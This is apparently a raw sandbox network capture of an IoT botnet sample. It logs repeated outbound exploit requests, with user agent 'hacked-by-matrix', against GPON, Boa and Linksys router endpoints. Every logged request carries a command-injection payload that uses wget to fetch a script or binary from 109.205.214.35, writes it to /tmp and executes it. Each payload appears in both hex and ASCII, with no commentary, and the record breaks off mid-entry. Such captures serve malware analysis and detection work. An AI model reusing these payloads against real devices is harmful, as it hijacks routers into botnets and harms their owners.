Mar 21, 2024 05:22:05.484775066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.13	37442	118.181.188.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484778881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.13	41264	42.117.244.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484807014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.13	34232	118.73.226.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.484826088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.13	53724	178.135.116.172	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.743486881 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:07.820283890 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:09.100275993 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.13	44868	181.116.77.13	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.818595886 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:08.268270016 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:09.965497017 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:13.421787977 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:20.337316990 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:33.902688026 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:02.060239077 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.13	53008	213.188.217.132	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:07.845017910 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:08.333897114 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.13	59424	23.88.26.202	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:07.900012016 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:08.078715086 CET	361	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 21 Mar 2024 04:22:07 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://127.0.0.1:8080/tmUnblock.cgi TH_ISPC: 1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.13	53066	151.59.115.120	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.149494886 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.13	41710	103.173.174.38	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.251602888 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.13	56434	109.106.254.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491859913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.13	42344	109.182.244.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491859913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.13	37864	5.12.7.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491889000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.13	51786	109.247.217.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491894960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.13	56588	42.0.147.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491903067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.13	40234	5.164.96.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491910934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.13	42186	212.146.227.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491933107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.13	41996	212.223.161.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491933107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.13	39784	5.65.2.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491970062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.13	44704	5.242.230.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.491993904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.13	46284	118.65.113.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.492021084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.13	60256	42.98.136.25	443

Timestamp	Bytes transferred	Direction	Data
